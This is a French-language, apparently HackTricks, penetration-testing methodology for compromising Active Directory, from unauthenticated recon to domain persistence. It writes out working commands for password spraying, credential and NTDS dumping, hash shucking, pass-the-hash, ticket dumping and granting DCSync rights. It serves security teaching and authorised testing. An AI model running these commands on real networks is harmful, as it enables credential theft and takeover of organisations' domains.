Méthodologie Active Directory
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Vue dâensemble
Active Directory sert de technologie fondamentale, permettant aux administrateurs rĂ©seau de crĂ©er et gĂ©rer efficacement des domaines, des utilisateurs et des objets au sein dâun rĂ©seau. Il est conçu pour ĂȘtre Ă©volutif, facilitant lâorganisation dâun grand nombre dâutilisateurs en groupes et sous-groupes gĂ©rables, tout en contrĂŽlant les droits dâaccĂšs Ă diffĂ©rents niveaux.
La structure dâActive Directory se compose de trois couches principales : domaines, arbres et forests. Un domaine englobe une collection dâobjets, tels que des utilisateurs ou des pĂ©riphĂ©riques, partageant une base de donnĂ©es commune. Les arbres sont des groupes de ces domaines reliĂ©s par une structure commune, et une forest reprĂ©sente lâensemble de plusieurs arbres, interconnectĂ©s par des trust relationships, formant la couche la plus Ă©levĂ©e de la structure organisationnelle. Des droits dâaccĂšs et de communication spĂ©cifiques peuvent ĂȘtre dĂ©finis Ă chacun de ces niveaux.
Les concepts clés dans Active Directory incluent :
- Directory â Contient toutes les informations relatives aux objets Active Directory.
- Object â DĂ©signe les entitĂ©s dans lâannuaire, y compris les utilisateurs, les groupes ou les dossiers partagĂ©s.
- Domain â Sert de conteneur pour les objets de lâannuaire, avec la capacitĂ© pour plusieurs domaines de coexister au sein dâune forest, chacun conservant sa propre collection dâobjets.
- Tree â Un regroupement de domaines partageant un domaine racine commun.
- Forest â Le sommet de la structure organisationnelle dans Active Directory, composĂ© de plusieurs arbres avec des trust relationships entre eux.
Active Directory Domain Services (AD DS) englobe une gamme de services critiques pour la gestion centralisĂ©e et la communication au sein dâun rĂ©seau. Ces services comprennent :
- Domain Services â Centralise le stockage des donnĂ©es et gĂšre les interactions entre les utilisateurs et les domaines, y compris lâauthentification et les fonctionnalitĂ©s de recherche.
- Certificate Services â Supervise la crĂ©ation, la distribution et la gestion des certificats numĂ©riques sĂ©curisĂ©s.
- Lightweight Directory Services â Prend en charge les applications activĂ©es par lâannuaire via le LDAP protocol.
- Directory Federation Services â Fournit des capacitĂ©s de single-sign-on pour authentifier les utilisateurs Ă travers plusieurs applications web en une seule session.
- Rights Management â Aide Ă protĂ©ger le contenu soumis au droit dâauteur en rĂ©gulant sa distribution et son usage non autorisĂ©s.
- DNS Service â Crucial pour la rĂ©solution des domain names.
For a more detailed explanation check: TechTerms - Active Directory Definition
Kerberos Authentication
To learn how to attack an AD you need to understand really good the Kerberos authentication process.
Read this page if you still donât know how it works.
Cheat Sheet
You can take a lot to https://wadcoms.github.io/ to have a quick view of which commands you can run to enumerate/exploit an AD.
Warning
Kerberos communication requires a full qualifid name (FQDN) for performing actions. If you try to access a machine by the IP address, itâll use NTLM and not kerberos.
Recon Active Directory (No creds/sessions)
Si vous avez simplement accĂšs Ă un environnement AD mais que vous nâavez aucune credentials/sessions, vous pouvez :
- Pentest the network:
- Scanner le rĂ©seau, trouver les machines et les ports ouverts et essayer dâexploiter des vulnĂ©rabilitĂ©s ou dâextraire des credentials Ă partir dâelles (par exemple, les printers peuvent ĂȘtre des cibles trĂšs intĂ©ressantes).
- LâĂ©numĂ©ration DNS peut fournir des informations sur des serveurs clĂ©s du domaine comme web, printers, shares, vpn, media, etc.
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt- Consultez la page gĂ©nĂ©rale Pentesting Methodology pour plus dâinformations sur la façon de procĂ©der.
- Check for null and Guest access on smb services (cela ne fonctionnera pas sur les versions Windows modernes) :
enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //- Un guide plus dĂ©taillĂ© sur la maniĂšre dâĂ©numĂ©rer un serveur SMB peut ĂȘtre trouvĂ© ici :
- Enumerate Ldap
nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>- Un guide plus dĂ©taillĂ© sur la maniĂšre dâĂ©numĂ©rer LDAP peut ĂȘtre trouvĂ© ici (prĂȘtez une attention particuliĂšre Ă lâaccĂšs anonyme) :
389, 636, 3268, 3269 - Pentesting LDAP
- Poison the network
- Récupérer des credentials en impersonating services with Responder (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Accéder à un hÎte en abusing the relay attack
- Récupérer des credentials en exposant des fake UPnP services with evil-SSDP
- OSINT :
- Extraire des usernames/noms Ă partir de documents internes, rĂ©seaux sociaux, services (principalement web) Ă lâintĂ©rieur des environnements de domaine et Ă©galement Ă partir des sources publiques.
- Si vous trouvez les noms complets des employĂ©s de lâentreprise, vous pouvez essayer diffĂ©rentes conventions de username AD (lire ceci). Les conventions les plus courantes sont : NameSurname, Name.Surname, NamSur (3 lettres de chaque), Nam.Sur, NSurname, N.Surname, SurnameName, Surname.Name, SurnameN, Surname.N, 3 lettres alĂ©atoires et 3 chiffres alĂ©atoires (abc123).
- Outils :
- w0Tx/generate-ad-username
- urbanadventurer/username-anarchy
User enumeration
- Anonymous SMB/LDAP enum: Consultez les pages pentesting SMB et pentesting LDAP.
- Kerbrute enum : Lorsquâun username invalide est demandĂ©, le serveur rĂ©pondra avec le code dâerreur Kerberos KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, ce qui nous permet de dĂ©terminer que le username Ă©tait invalide. Les usernames valides dĂ©clencheront soit un TGT in a AS-REP en rĂ©ponse, soit lâerreur KRB5KDC_ERR_PREAUTH_REQUIRED, indiquant que lâutilisateur doit effectuer la prĂ©-authentification.
- No Authentication against MS-NRPC : Utiliser auth-level = 1 (No authentication) contre lâinterface MS-NRPC (Netlogon) sur les domain controllers. La mĂ©thode appelle la fonction
DsrGetDcNameEx2aprĂšs avoir liĂ© lâinterface MS-NRPC pour vĂ©rifier si lâutilisateur ou lâordinateur existe sans aucune credentials. Lâoutil NauthNRPC implĂ©mente ce type dâĂ©numĂ©ration. Les recherches peuvent ĂȘtre consultĂ©es ici
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>
msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
- OWA (Outlook Web Access) Server
Si vous trouvez un de ces serveurs sur le rĂ©seau, vous pouvez Ă©galement effectuer une Ă©numĂ©ration dâutilisateurs Ă son encontre. Par exemple, vous pouvez utiliser lâoutil MailSniper:
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
Warning
You can find lists of usernames in this github repo and this one (statistically-likely-usernames).
Cependant, vous devriez avoir le nom des personnes travaillant dans lâentreprise Ă partir de lâĂ©tape de recon que vous auriez dĂ» effectuer auparavant. Avec le prĂ©nom et le nom de famille, vous pouvez utiliser le script namemash.py pour gĂ©nĂ©rer des noms dâutilisateur potentiels valides.
Knowing one or several usernames
Ok, donc vous savez dĂ©jĂ que vous avez un nom dâutilisateur valide mais pas de mots de passe⊠Essayez alors :
- ASREPRoast: If a user doesnât have the attribute DONT_REQ_PREAUTH you can request a AS_REP message for that user that will contain some data encrypted by a derivation of the password of the user.
- Password Spraying: Letâs try the most common passwords with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!).
- Note that you can also spray OWA servers to try to get access to the users mail servers.
Password Spraying / Brute Force
LLMNR/NBT-NS Poisoning
Vous pourriez ĂȘtre capable dâobtenir certains hashes de challenge Ă cracker en empoisonnant certains protocoles du rĂ©seau :
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
NTLM Relay
Si vous avez rĂ©ussi Ă Ă©numĂ©rer Active Directory vous aurez plus dâemails et une meilleure comprĂ©hension du rĂ©seau. Vous pourriez ĂȘtre capable de forcer des relay attacks NTLM pour obtenir lâaccĂšs Ă lâenvironnement AD.
Steal NTLM Creds
Si vous pouvez accĂ©der Ă dâautres PC ou partages avec lâutilisateur null ou guest vous pourriez placer des fichiers (comme un fichier SCF) qui, sâils sont consultĂ©s, dĂ©clencheront une authentification NTLM contre vous afin que vous puissiez voler le challenge NTLM pour le cracker :
Hash Shucking & NT-Candidate Attacks
Hash shucking considĂšre chaque NT hash que vous possĂ©dez dĂ©jĂ comme un mot de passe candidat pour dâautres formats plus lents dont le matĂ©riau clĂ© est dĂ©rivĂ© directement du NT hash. Au lieu de bruteforcer de longues phrases de passe dans des tickets Kerberos RC4, des challenges NetNTLM, ou des credentials cachĂ©s, vous injectez les NT hashes dans les modes NT-candidate de Hashcat et laissez vĂ©rifier la rĂ©utilisation des mots de passe sans jamais connaĂźtre le texte en clair. Ceci est particuliĂšrement puissant aprĂšs une compromission de domaine oĂč vous pouvez rĂ©colter des milliers de NT hashes actuels et historiques.
Utilisez le shucking lorsque :
- Vous avez un corpus NT provenant de DCSync, de dumps NTDS/SAM/SECURITY, ou de vaults dâidentifiants et devez tester la rĂ©utilisation dans dâautres domaines/forĂȘts.
- Vous capturez du matériel Kerberos basé sur RC4 (
$krb5tgs$23$,$krb5asrep$23$), des réponses NetNTLM, ou des blobs DCC/DCC2. - Vous voulez prouver rapidement la réutilisation pour de longues phrases de passe inextricables et pivoter immédiatement via Pass-the-Hash.
La technique ne fonctionne pas contre les types de chiffrement dont les clés ne sont pas le NT hash (par exemple Kerberos etype 17/18 AES). Si un domaine impose AES-only, vous devez revenir aux modes de mot de passe réguliers.
Building an NT hash corpus
- DCSync/NTDS â Use
secretsdump.pywith history to grab the largest possible set of NT hashes (and their previous values):
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt
Les entrĂ©es dâhistorique Ă©largissent considĂ©rablement le pool de candidats car Microsoft peut stocker jusquâĂ 24 hashes prĂ©cĂ©dents par compte. Pour dâautres façons de rĂ©colter les secrets NTDS voir :
- Endpoint cache dumps â
nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa(ou Mimikatzlsadump::sam /patch) extrait les donnĂ©es locales SAM/SECURITY et les logons de domaine en cache (DCC/DCC2). DĂ©dupliquez et ajoutez ces hashes au mĂȘme fichiernt_candidates.txt. - Track metadata â Conservez le nom dâutilisateur/domaine qui a produit chaque hash (mĂȘme si le wordlist ne contient que des hex). Les hashes correspondants vous indiquent immĂ©diatement quel principal rĂ©utilise un mot de passe une fois que Hashcat affiche le candidat gagnant.
- PrĂ©fĂ©rez les candidats provenant de la mĂȘme forĂȘt ou dâune forĂȘt de confiance ; cela maximise la probabilitĂ© de chevauchement lors du shucking.
Hashcat NT-candidate modes
| Hash Type | Password Mode | NT-Candidate Mode |
|---|---|---|
| Domain Cached Credentials (DCC) | 1100 | 31500 |
| Domain Cached Credentials 2 (DCC2) | 2100 | 31600 |
| NetNTLMv1 / NetNTLMv1+ESS | 5500 | 27000 |
| NetNTLMv2 | 5600 | 27100 |
| Kerberos 5 etype 23 AS-REQ Pre-Auth | 7500 | N/A |
| Kerberos 5 etype 23 TGS-REP (Kerberoast) | 13100 | 35300 |
| Kerberos 5 etype 23 AS-REP | 18200 | 35400 |
Notes :
- Les entrées NT-candidate doivent rester des NT hashes bruts en 32 hex. Désactivez les moteurs de rÚgles (pas de
-r, pas de modes hybrides) car le mangling corrompt le matĂ©riau clĂ© du candidat. - Ces modes ne sont pas intrinsĂšquement plus rapides, mais lâespace de clĂ©s NT (~30 000 MH/s sur un M3 Max) est ~100Ă plus rapide que Kerberos RC4 (~300 MH/s). Tester une liste NT sĂ©lectionnĂ©e coĂ»te bien moins cher que dâexplorer tout lâespace de mots de passe dans le format lent.
- Exécutez toujours la derniÚre build de Hashcat (
git clone https://github.com/hashcat/hashcat && make install) car les modes 31500/31600/35300/35400 ont Ă©tĂ© ajoutĂ©s rĂ©cemment. - Il nâexiste actuellement pas de mode NT pour AS-REQ Pre-Auth, et les etypes AES (19600/19700) nĂ©cessitent le mot de passe en clair car leurs clĂ©s sont dĂ©rivĂ©es via PBKDF2 depuis des mots de passe UTF-16LE, pas depuis des NT hashes bruts.
Example â Kerberoast RC4 (mode 35300)
- Capture an RC4 TGS for a target SPN with a low-privileged user (see the Kerberoast page for details):
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
- Shuck the ticket with your NT list:
hashcat -m 35300 roastable_TGS nt_candidates.txt
Hashcat dĂ©rive la clĂ© RC4 Ă partir de chaque candidat NT et valide le blob $krb5tgs$23$.... Une correspondance confirme que le compte de service utilise lâun de vos NT hashes existants.
- Immediately pivot via PtH:
nxc smb <dc_ip> -u roastable -H <matched_nt_hash>
Vous pouvez éventuellement récupérer le plaintext plus tard avec hashcat -m 1000 <matched_hash> wordlists/ si nécessaire.
Example â Cached credentials (mode 31600)
- Dump cached logons from a compromised workstation:
nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
- Copy the DCC2 line for the interesting domain user into
dcc2_highpriv.txtand shuck it:
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
- A successful match yields the NT hash already known in your list, proving that the cached user is reusing a password. Use it directly for PtH (
nxc smb <dc_ip> -u highpriv -H <hash>) or brute-force it in fast NTLM mode to recover the string.
Le mĂȘme workflow sâapplique aux challenge-responses NetNTLM (-m 27000/27100) et DCC (-m 31500). Une fois une correspondance identifiĂ©e, vous pouvez lancer des attaques de relais, PtH SMB/WMI/WinRM, ou re-cracker le NT hash avec des masques/rĂšgles hors-ligne.
Enumerating Active Directory WITH credentials/session
Pour cette phase, vous devez avoir compromis les credentials ou une session dâun compte de domaine valide. Si vous avez des credentials valides ou un shell en tant quâutilisateur de domaine, rappelez-vous que les options donnĂ©es prĂ©cĂ©demment restent des options pour compromettre dâautres utilisateurs.
Avant de commencer lâĂ©numĂ©ration authentifiĂ©e, vous devriez connaĂźtre le Kerberos double hop problem.
Enumeration
Avoir compromis un compte est une grande Ă©tape pour commencer Ă compromettre tout le domaine, car vous allez pouvoir lancer lâActive Directory Enumeration :
Concernant ASREPRoast vous pouvez maintenant trouver tous les utilisateurs vulnĂ©rables possibles, et concernant Password Spraying vous pouvez obtenir une liste de tous les noms dâutilisateur et essayer le mot de passe du compte compromis, les mots de passe vides et de nouveaux mots de passe prometteurs.
- Vous pourriez utiliser le CMD to perform a basic recon
- Vous pouvez aussi utiliser powershell for recon qui sera plus furtif
- Vous pouvez également use powerview pour extraire des informations plus détaillées
- Un autre outil excellent pour le recon dans Active Directory est BloodHound. Il nâest pas trĂšs furtif (selon les mĂ©thodes de collecte utilisĂ©es), mais si cela ne vous dĂ©range pas, vous devriez totalement lâessayer. Trouvez oĂč les utilisateurs peuvent RDP, trouvez des chemins vers dâautres groupes, etc.
- Dâautres outils dâĂ©numĂ©ration AD automatisĂ©s sont : AD Explorer, ADRecon, Group3r, PingCastle.
- DNS records of the AD car ils peuvent contenir des informations intéressantes.
- Un outil avec GUI que vous pouvez utiliser pour Ă©numĂ©rer lâannuaire est AdExplorer.exe de la suite SysInternal.
- Vous pouvez aussi rechercher dans la base LDAP avec ldapsearch pour chercher des credentials dans les champs userPassword & unixUserPassword, ou mĂȘme dans Description. cf. Password in AD User comment on PayloadsAllTheThings pour dâautres mĂ©thodes.
- Si vous utilisez Linux, vous pouvez aussi énumérer le domaine en utilisant pywerview.
- Vous pouvez également essayer des outils automatisés comme :
- tomcarver16/ADSearch
- 61106960/adPEAS
- Extraction de tous les utilisateurs du domaine
Il est trĂšs facile dâobtenir tous les noms dâutilisateur du domaine depuis Windows (net user /domain ,Get-DomainUser ou wmic useraccount get name,sid). Sous Linux, vous pouvez utiliser : GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username ou enum4linux -a -u "user" -p "password" <DC IP>
MĂȘme si cette section Enumeration semble courte, câest la partie la plus importante de toutes. AccĂ©dez aux liens (principalement ceux de cmd, powershell, powerview et BloodHound), apprenez Ă Ă©numĂ©rer un domaine et pratiquez jusquâĂ ĂȘtre Ă lâaise. Pendant une Ă©valuation, ce sera le moment clĂ© pour trouver votre chemin vers DA ou pour dĂ©cider quâil nây a rien Ă faire.
Kerberoast
Kerberoasting consiste Ă obtenir des TGS tickets utilisĂ©s par des services liĂ©s Ă des comptes utilisateurs et Ă cracker leur chiffrement â qui est basĂ© sur les mots de passe utilisateurs â hors ligne.
Plus Ă ce sujet dans :
Remote connexion (RDP, SSH, FTP, Win-RM, etc)
Une fois que vous avez obtenu des credentials vous pouvez vérifier si vous avez accÚs à une machine quelconque. Pour cela, vous pouvez utiliser CrackMapExec pour tenter de vous connecter à plusieurs serveurs via différents protocoles, en fonction de vos scans de ports.
Local Privilege Escalation
Si vous avez compromis des credentials ou une session en tant quâutilisateur de domaine standard et que vous avez accĂšs avec cet utilisateur Ă nâimporte quelle machine du domaine, vous devriez essayer de trouver un moyen dâescalader les privilĂšges localement et de rĂ©cupĂ©rer des credentials. Câest parce que seulement avec des privilĂšges administrateur locaux vous pourrez dumper les hashes dâautres utilisateurs en mĂ©moire (LSASS) et localement (SAM).
Il y a une page complĂšte dans ce livre sur local privilege escalation in Windows et une checklist. Aussi, nâoubliez pas dâutiliser WinPEAS.
Current Session Tickets
Il est trĂšs improbable que vous trouviez des tickets dans lâutilisateur courant vous donnant la permission dâaccĂ©der Ă des ressources inattendues, mais vous pouvez vĂ©rifier :
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
NTLM Relay
Si vous avez rĂ©ussi Ă Ă©numĂ©rer lâActive Directory, vous disposerez de plus dâe-mails et dâune meilleure comprĂ©hension du rĂ©seau. Vous pourriez ĂȘtre capable de forcer des NTLM relay attacks.
Recherche de Creds dans les partages dâordinateurs | SMB Shares
Maintenant que vous avez quelques identifiants de base, vous devriez vĂ©rifier si vous pouvez trouver des fichiers intĂ©ressants partagĂ©s dans lâAD. Vous pouvez le faire manuellement mais câest une tĂąche trĂšs ennuyeuse et rĂ©pĂ©titive (dâautant plus si vous trouvez des centaines de docs Ă vĂ©rifier).
Suivez ce lien pour en savoir plus sur les outils que vous pouvez utiliser.
Voler les NTLM Creds
Si vous pouvez accĂ©der Ă dâautres PCs ou partages vous pouvez placer des fichiers (comme un fichier SCF) qui, si quelquâun y accĂšde, vont dĂ©clencher une authentification NTLM contre vous afin que vous puissiez voler le NTLM challenge pour le cracker :
CVE-2021-1675/CVE-2021-34527 PrintNightmare
Cette vulnérabilité permettait à tout utilisateur authentifié de compromettre le contrÎleur de domaine.
Escalade de privilÚges sur Active Directory AVEC des identifiants/session privilégiée
Pour les techniques suivantes, un utilisateur de domaine standard ne suffit pas : vous avez besoin de certains privilÚges/identifiants spéciaux pour effectuer ces attaques.
Hash extraction
Avec un peu de chance vous avez réussi à compromettre un compte admin local en utilisant AsRepRoast, Password Spraying, Kerberoast, Responder (y compris relaying), EvilSSDP, escalating privileges locally.
Ensuite, il est temps de dumper tous les hashes en mémoire et localement.
Lisez cette page sur les diffĂ©rentes façons dâobtenir les hashes.
Pass the Hash
Une fois que vous avez le hash dâun utilisateur, vous pouvez lâutiliser pour vous faire passer pour lui.
Vous devez utiliser un outil qui va effectuer lâauthentification NTLM en utilisant ce hash, ou vous pouvez crĂ©er un nouveau sessionlogon et injecter ce hash dans le LSASS, de sorte que lorsque nâimporte quelle authentification NTLM est effectuĂ©e, ce hash sera utilisĂ©. La derniĂšre option est ce que fait mimikatz.
Lisez cette page pour plus dâinformations.
Over Pass the Hash/Pass the Key
Cette attaque vise Ă utiliser le hash NTLM dâun utilisateur pour demander des tickets Kerberos, comme alternative au Pass The Hash classique via le protocole NTLM. Par consĂ©quent, cela peut ĂȘtre particuliĂšrement utile dans des rĂ©seaux oĂč le protocole NTLM est dĂ©sactivĂ© et oĂč seul Kerberos est autorisĂ© comme protocole dâauthentification.
Over Pass the Hash/Pass the Key
Pass the Ticket
Dans la mĂ©thode dâattaque Pass The Ticket (PTT), les attaquants volent le ticket dâauthentification dâun utilisateur au lieu de son mot de passe ou de ses valeurs de hash. Ce ticket volĂ© est ensuite utilisĂ© pour se faire passer pour lâutilisateur, obtenant ainsi un accĂšs non autorisĂ© aux ressources et services du rĂ©seau.
Credentials Reuse
Si vous avez le hash ou le mot de passe dâun administrateur local, vous devriez essayer de vous connecter localement Ă dâautres PCs avec celui-ci.
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
Warning
Notez que câest assez bruyant et LAPS permettrait de lâattĂ©nuer.
Abus de MSSQL et liens de confiance
Si un utilisateur a les privilĂšges pour access MSSQL instances, il pourrait les utiliser pour execute commands sur lâhĂŽte MSSQL (si le service tourne en tant que SA), steal le NetNTLM hash ou mĂȘme effectuer une relay attack.
De plus, si une instance MSSQL est trusted (database link) par une autre instance MSSQL et que lâutilisateur a des privilĂšges sur la base de donnĂ©es trusted, il pourra use the trust relationship to execute queries also in the other instance. Ces relations de confiance peuvent ĂȘtre chaĂźnĂ©es et Ă un moment donnĂ© lâutilisateur pourrait trouver une base de donnĂ©es mal configurĂ©e oĂč il peut exĂ©cuter des commandes.
Les liens entre bases de donnĂ©es fonctionnent mĂȘme Ă travers les relations de confiance entre forĂȘts.
Abus des plateformes dâinventaire et de dĂ©ploiement
Les suites tierces dâinventaire et de dĂ©ploiement exposent souvent des chemins puissants vers les credentials et lâexĂ©cution de code. Voir :
Sccm Management Point Relay Sql Policy Secrets
Unconstrained Delegation
Si vous trouvez un objet Computer avec lâattribut ADS_UF_TRUSTED_FOR_DELEGATION et que vous avez des privilĂšges sur la machine, vous pourrez dump TGTs depuis la mĂ©moire de tous les utilisateurs qui se connectent sur lâordinateur.
Ainsi, si un Domain Admin logins onto the computer, vous pourrez dump son TGT et vous faire passer pour lui en utilisant Pass the Ticket.
GrĂące au constrained delegation vous pourriez mĂȘme automatiquement compromettre un Print Server (avec un peu de chance ce sera un DC).
Constrained Delegation
Si un user ou un computer est autorisĂ© pour la âConstrained Delegationâ, il pourra impersonate any user to access some services in a computer.
Ensuite, si vous compromise the hash de cet user/ordinateur vous serez capable de impersonate any user (mĂȘme des domain admins) pour accĂ©der Ă certains services.
Resourced-based Constrain Delegation
Avoir le privilĂšge WRITE sur un objet Active Directory dâun ordinateur distant permet dâobtenir une exĂ©cution de code avec des privilĂšges Ă©levĂ©s :
Resource-based Constrained Delegation
Abus des Permissions/ACLs
Lâutilisateur compromis pourrait disposer de privilĂšges intĂ©ressants sur certains objets du domaine qui pourraient vous permettre dâeffectuer des mouvements latĂ©raux/escalader des privilĂšges.
Abusing Active Directory ACLs/ACEs
Abus du service Printer Spooler
DĂ©couvrir un Spool service listening dans le domaine peut ĂȘtre abusĂ© pour acquĂ©rir de nouveaux credentials et escalader des privilĂšges.
Force NTLM Privileged Authentication
Abus des sessions de tiers
Si dâautres utilisateurs access la machine compromised, il est possible de gather credentials from memory et mĂȘme inject beacons in their processes pour les usurper.
Habituellement les utilisateurs accĂšdent au systĂšme via RDP, voici donc comment effectuer quelques attaques sur des sessions RDP de tiers :
LAPS
LAPS fournit un systĂšme pour gĂ©rer le mot de passe de lâAdministrator local sur les ordinateurs joints au domaine, en garantissant quâil est randomized, unique et frĂ©quemment changed. Ces mots de passe sont stockĂ©s dans Active Directory et lâaccĂšs est contrĂŽlĂ© via des ACLs uniquement pour les utilisateurs autorisĂ©s. Avec des permissions suffisantes pour accĂ©der Ă ces mots de passe, le pivoting vers dâautres machines devient possible.
Certificate Theft
RĂ©cupĂ©rer des certificates depuis la machine compromise peut ĂȘtre un moyen dâescalader les privilĂšges dans lâenvironnement :
Certificate Templates Abuse
Si des templates vulnérables sont configurés, il est possible de les abuser pour escalader les privilÚges :
Post-exploitation avec un compte Ă haut privilĂšge
Dumping Domain Credentials
Une fois que vous obtenez des privilÚges de Domain Admin ou, mieux, Enterprise Admin, vous pouvez dump la base de données du domaine : ntds.dit.
Plus dâinformations sur lâattaque DCSync ici.
Plus dâinformations sur comment voler le NTDS.dit ici
Privesc comme persistance
Certaines des techniques discutĂ©es prĂ©cĂ©demment peuvent ĂȘtre utilisĂ©es pour la persistance.
Par exemple, vous pourriez :
- Rendre des utilisateurs vulnérables à Kerberoast
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
- Rendre des utilisateurs vulnérables à ASREPRoast
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
- Accorder les privilĂšges DCSync Ă un utilisateur
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
Silver Ticket
Lâattaque Silver Ticket crĂ©e un ticket Ticket Granting Service (TGS) lĂ©gitime pour un service spĂ©cifique en utilisant le NTLM hash (par exemple, le hash du compte PC). Cette mĂ©thode est employĂ©e pour accĂ©der aux privilĂšges du service.
Golden Ticket
Une attaque Golden Ticket implique quâun attaquant obtienne lâaccĂšs au NTLM hash du compte krbtgt dans un environnement Active Directory (AD). Ce compte est spĂ©cial car il est utilisĂ© pour signer tous les Ticket Granting Tickets (TGTs), qui sont essentiels pour lâauthentification au sein du rĂ©seau AD.
Une fois que lâattaquant obtient ce hash, il peut crĂ©er des TGTs pour nâimporte quel compte de son choix (attaque Silver ticket).
Diamond Ticket
Ceux-ci sont comme des golden tickets forgés de maniÚre à contourner les mécanismes courants de détection des golden tickets.
Persistance de compte par certificats
PossĂ©der les certificats dâun compte ou ĂȘtre capable de les demander est un trĂšs bon moyen de persister dans le compte de lâutilisateur (mĂȘme sâil change le mot de passe) :
Persistance domaine via certificats
Lâutilisation de certificats permet Ă©galement de persister avec des privilĂšges Ă©levĂ©s Ă lâintĂ©rieur du domaine :
AdminSDHolder Group
Lâobjet AdminSDHolder dans Active Directory assure la sĂ©curitĂ© des groupes privilĂ©giĂ©s (comme Domain Admins et Enterprise Admins) en appliquant une Access Control List (ACL) standard Ă travers ces groupes afin dâempĂȘcher des modifications non autorisĂ©es. Cependant, cette fonctionnalitĂ© peut ĂȘtre exploitĂ©e ; si un attaquant modifie lâACL de lâAdminSDHolder pour donner un accĂšs complet Ă un utilisateur ordinaire, cet utilisateur obtient un contrĂŽle Ă©tendu sur tous les groupes privilĂ©giĂ©s. Cette mesure de sĂ©curitĂ©, conçue pour protĂ©ger, peut donc se retourner contre son but et permettre un accĂšs injustifiĂ© si elle nâest pas surveillĂ©e de prĂšs.
Plus dâinformations sur le groupe AdminSDHolder ici.
DSRM Credentials
Ă lâintĂ©rieur de chaque Domain Controller (DC) existe un compte local administrator. En obtenant des droits admin sur une telle machine, le hash de lâAdministrator local peut ĂȘtre extrait Ă lâaide de mimikatz. Ensuite, une modification du registre est nĂ©cessaire pour activer lâutilisation de ce mot de passe, permettant lâaccĂšs Ă distance au compte Administrator local.
ACL Persistence
Vous pourriez donner des permissions spĂ©ciales Ă un utilisateur sur certains objets du domaine spĂ©cifiques qui permettront Ă lâutilisateur dâescalader les privilĂšges Ă lâavenir.
Abusing Active Directory ACLs/ACEs
Security Descriptors
Les security descriptors sont utilisĂ©s pour stocker les permissions quâun objet possĂšde. Si vous pouvez simplement faire un petit changement dans le security descriptor dâun objet, vous pouvez obtenir des privilĂšges trĂšs intĂ©ressants sur cet objet sans avoir besoin dâĂȘtre membre dâun groupe privilĂ©giĂ©.
Skeleton Key
Altérer LSASS en mémoire pour établir un mot de passe universel, donnant accÚs à tous les comptes du domaine.
Custom SSP
DĂ©couvrez ce quâest un SSP (Security Support Provider) ici.
Vous pouvez créer votre propre SSP pour capture en clear text les credentials utilisés pour accéder à la machine.
DCShadow
Il enregistre un nouveau Domain Controller dans lâAD et lâutilise pour push attributes (SIDHistory, SPNsâŠ) sur des objets spĂ©cifiĂ©s sans laisser de logs concernant les modifications. Vous need DA privileges et devez ĂȘtre Ă lâintĂ©rieur du root domain.
Notez que si vous utilisez de mauvaises données, des logs assez moches apparaßtront.
LAPS Persistence
Nous avons prĂ©cĂ©demment discutĂ© de la maniĂšre dâescalader des privilĂšges si vous disposez de suffisantes permissions pour lire les mots de passe LAPS. Cependant, ces mots de passe peuvent aussi ĂȘtre utilisĂ©s pour maintenir la persistance.
Voir :
